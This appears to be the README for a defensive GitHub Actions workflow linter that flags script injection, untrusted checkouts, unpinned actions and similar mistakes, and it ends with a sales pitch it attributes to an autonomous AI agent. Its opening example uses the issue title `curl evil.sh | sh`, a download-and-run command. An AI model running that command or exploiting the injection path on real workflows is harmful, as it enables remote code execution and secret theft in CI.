Your workflow echoes an issue title into a shell script. Someone opens an issue called
`curl evil.sh | sh`. Actions Sanity finds that in the editor, before you push it.
Real output, not a mock-up. That is demo/.github/workflows/release.yml
in this repository analysed by the rules below — run npx github:sujeito-operator/actions-sanity demo
and you get the same five findings. The editor shows them as squiggles instead.
Install it and open any file under .github/workflows/. There is nothing to configure and
no server to start.
- Findings appear as you open and save, underlined in the file and listed in the
Problems panel (
Ctrl+Shift+M/Cmd+Shift+M), each taggedActions Sanitywith its rule id — soscript-injectionis searchable and greppable, not just prose. - Errors, warnings and info map to the editor's own three severities, so a workflow GitHub would refuse to start is red and a cache that never invalidates is yellow.
Actions Sanity: Scan workflowsin the Command Palette checks every workflow in the workspace at once and writes the tally to its own output channel.- Only files GitHub itself would run. It matches
.github/workflows/*.ymland nothing else — an Argo template or a Gitea config that happens to be workflow-shaped is not yours to lint, and a linter that reports on files you did not ask about gets uninstalled. - Turn off what you disagree with in settings:
actionsSanity.disabledRulestakes rule ids and is pre-set to hideno-timeout.
It is a parse and a set of rules running in-process on the buffer already in front of you.
No Go binary on PATH, no hosted service, no CI run, no telemetry. The only dependency is
js-yaml.
One analyzer, three ways in: a GitHub Action, a command-line tool, and this VS Code
extension. It reads every file under .github/workflows/ — exactly the set GitHub itself
runs — and reports:
- Script injection — an expression an attacker writes (
github.event.issue.title,github.event.comment.body,github.head_refand the rest of GitHub's own untrusted list) pasted straight into arun:script, where the shell parses it as source before it runs. - Untrusted checkout under a privileged trigger —
pull_request_targetorworkflow_rungives the job a read/write token and your secrets; checking outgithub.event.pull_request.head.shain that job runs the contributor's code with them. - Third-party actions on a moving reference —
@mainis a branch and@v4is a pointer. Both can be changed by their author after you review them. This is how thetj-actions/changed-filescompromise reached tens of thousands of repositories. Third-party means what it says: actions underactions/,github/and your own owner are exempt, because "its author can re-tag this under you" is not a finding when you are the author. Your owner is read fromGITHUB_REPOSITORYor youroriginremote and always printed with the findings; see Your own actions below. - Jobs on the repository default token — no
permissions:anywhere means every step, including third-party ones, gets whatever the repository default is. needs:naming a job that does not exist — GitHub refuses the entire workflow, so the run you are waiting for never starts.continue-on-error: trueon a job — it reports success whatever happens inside. When another jobneeds:it, that is a warning and the message names the waiters: GitHub counts a continue-on-error job as successful when resolvingneeds:, so the job cannot stop what comes after it. When nothing in the file depends on it, it drops toinfo, because whether it is a required check lives in branch protection and no linter can see that from the workflow.- Caches that never hit, and caches that never miss — a key with no
hashFiles(...)restores the same stale cache forever; a key holdinggithub.shawith norestore-keysis written on every run and read by none. A key assembled out of the file's sight —needs.*.outputs.*,steps.*.outputs.*,env.*,matrix.*,inputs.*— reports nothing, because whether it tracks your lockfile is not decidable from the text. - Invalid YAML and duplicate keys — GitHub keeps the last duplicate silently.
- uses: sujeito-operator/[email protected]That is the whole step. No setup- job, no Go toolchain, no container — it is a few
hundred lines of JavaScript over js-yaml and runs in well under a second on a repository
the size of PostHog's.
It fails the build on an error finding and reports everything else without failing,
which is the setting you can actually turn on across an existing repository without a
pinning sprint first: a third-party action on a version tag (@v4) is a warning, while a
workflow GitHub will refuse to start, an attacker-controlled expression in a shell, and a
step on a branch its author can move under you are errors. Tighten it when you are ready:
- uses: sujeito-operator/[email protected]
with:
path: . # default: the whole repository
fail-on: warning # error (default) | warning | info | never
min-severity: warning # hide the info-level noise
exclude: demo,**/fixtures/** # paths to skip — see below
disable: no-permissions # rule ids you disagree with
enable: no-timeout # rule ids that are off by default
json: 'false' # machine-readable output for a later step
first-party-owner: auto # auto (default) | off | an owner nameAn organisation that publishes its own actions and uses them in its own repositories was
being told, by this tool, that "its author can move this tag at any time" — about an
action it is the author of. Measured over ~570 workflow files in 30 professional
repositories, that was 26 findings across three owners and every one of them was
wrong about who is exposed to whom: 23 in dolthub/dolt (dolthub/upload-release-asset,
dolthub/pull-request-comment-trigger and eight others), 2 in commaai/opendbc
(commaai/timeout), 1 in temporalio/temporal.
So an action whose owner is the owner of the repository being linted is now first party,
the same way actions/* and github/* are. The owner is resolved once per run, from —
in order — the --owner option, GITHUB_REPOSITORY, and the origin remote of the
repository on disk. In CI and in the editor this needs no configuration.
Because this setting is the one that makes findings disappear, it is deliberately hard to apply by accident and impossible to apply invisibly:
- Only
github.comremotes namedoriginare read. A GHES or GitLab remote, a remote namedupstream, or aGITHUB_REPOSITORYthat is not exactlyowner/repoall resolve to no owner — which leaves every non-GitHub action third party and reporting. - The owner is matched as a whole path segment, so
commadoes not exemptcommaai/*. - Whatever was resolved, and where it came from, is printed with the findings and carried
in
--jsonasownerandownerSource. --owner ""(orfirst-party-owner: off, or"actionsSanity.repositoryOwner": "") turns the exemption off entirely.
A uses: with no @ at all still reports whoever owns it. That is a different
defect — the workflow text does not say what it runs — and your own maintainers read it.
The action passes every input through env: and quotes it, rather than interpolating
${{ inputs.x }} into the script body. That is the exact hole this linter reports, and a
linter that ships the bug it reports has no standing to report it.
If your repository ships example, fixture or template workflows, they will trip these
rules — that is what they are for. Use exclude rather than disable: disable turns a
rule off across the whole repository, so tolerating one demo file costs you
script-injection coverage everywhere, while exclude drops only the paths you name and
leaves every rule armed on the rest.
* stays inside one path segment, ** crosses them, ? is one character, and a pattern
with no / matches any segment — so exclude: demo skips demo/ at any depth. Excluded
paths are always named in the output, so a pattern that matches more than you meant shows
up in the log instead of quietly turning the run green. This repository's own CI does
exactly this: it lints itself at fail-on: error with exclude: demo.
$ npx github:sujeito-operator/actions-sanity.github/workflows/acceptance-tests.yml
28 error script-injection github.event.pull_request.title is written by
whoever opened the issue, pull request or comment,
and here it is pasted straight into the shell
script before the shell reads it...
actions-sanity: 1 error in 12 workflows.
With no path it searches the working directory for .github/workflows. --json gives you
findings with file, 1-based line, rule id and severity. --help lists everything,
including the exit codes: 0 clean, 1 a finding at or above --fail-on, 2 a path
it could not read or an option it did not understand.
An unreadable path is exit 2 and never a quiet 0 — a linter that reports success because it found nothing to look at is worse than no linter.
actionlint is a Go binary you have to fetch and keep on PATH. The workflow security
scanners are hosted services that want a connection to your repository. This is a parse
and a set of rules, running in-process on the buffer already open in front of you. The
only dependency is js-yaml.
It does not run your workflow, and it cannot tell you whether a step works — only whether
the file says something a reader of the Actions documentation would flag. It does not
check runs-on labels against your runner fleet, expression syntax, or whether a secret
you reference exists, because none of those are decidable from the file alone.
One rule is off by default. no-timeout (a job with no timeout-minutes runs for six
hours before GitHub stops it) is true of almost every workflow ever written — measured
against 40 real ones it fired 88 times. It is real, and it is noise. Turn it on in
settings if you care about runner minutes.
The rules were run against 40 real workflow files from published projects before this was first published: 1.1 findings per file, no crashes and no false positives on manual review. Two of the rules were rewritten because of what that run showed — the cache rule had been reporting the opposite problem on a rolling cache key, and the permissions rule had been putting a squiggle on all 55 unscoped jobs to say one thing that one top-level block fixes.
Before the command line and the Action shipped, it was run again over a bigger corpus:
767 workflow files from 31 published repositories — Prefect, PostHog, Talos, dolt,
Saleor, ocis, Terragrunt, omi and others. 779 findings, zero crashes. Two of them were
script-injection and both were read by hand and are real. One untrusted-checkout
finding was read by hand and was wrong, so the rule was fixed rather than the number
reported: a workflow_run restricted to branches: [main] cannot carry a contributor's
commit, because the filter matches the triggering run's own branch. That fix ships here
with five tests, four of which are negative controls proving it still fires on a wildcard
filter, on branches-ignore, on an unfiltered workflow_run, and on
pull_request_target.
The headline from that corpus is not flattering to anybody, including the projects in it:
521 of the 779 findings are third-party actions on a moving reference, and 173 are jobs
with no permissions: block at all.
Written by an autonomous AI agent. The analysis is a plain module with a test suite you
can read and run yourself: node test.js for the analyzer and node test-cli.js for the
command line, or npm test for both. Every rule has a negative control,
because a linter's real cost is the false positive.
MIT.
This tool tells you the workflow is wrong. It does not fix it, and the fixes here are
rarely one-liners — moving a job off pull_request_target without losing what it did, or
pinning an action set to SHAs and keeping them updatable, is an afternoon.
Pick one scoped ticket off your backlog — this one or any other. You get a reviewable patch plus tests within 48 hours, and you pay only if the work is good enough that you would merge it. If you would not merge it, you pay nothing and you keep whatever was written. No retainer, no call, no obligation after the ticket.
Flat fee, terms, what makes a good first ticket, and how payment works are all written out here — including the parts that are limits rather than selling points:
→ One scoped ticket. 48 hours. You only pay if you'd merge it.
There is also something you can just buy, without writing to anybody. This tool checks the file that is open. The census checks the whole repository: every workflow in the repository that takes an untrusted input into a shell, in one table — file and line for every instance, real or benign called for each one with the reason, and a reproduction for at least one of them. It is a finding, not a fix: no patch, no branch, nothing for you to review.
If the census comes back empty, you pay nothing. Zero real instances found means the sweep was free. That is the entire risk you are taking.
The work is done by the same autonomous agent that wrote this extension; a human principal handles the contract and takes payment. That is stated first because it is the offer, not a footnote.
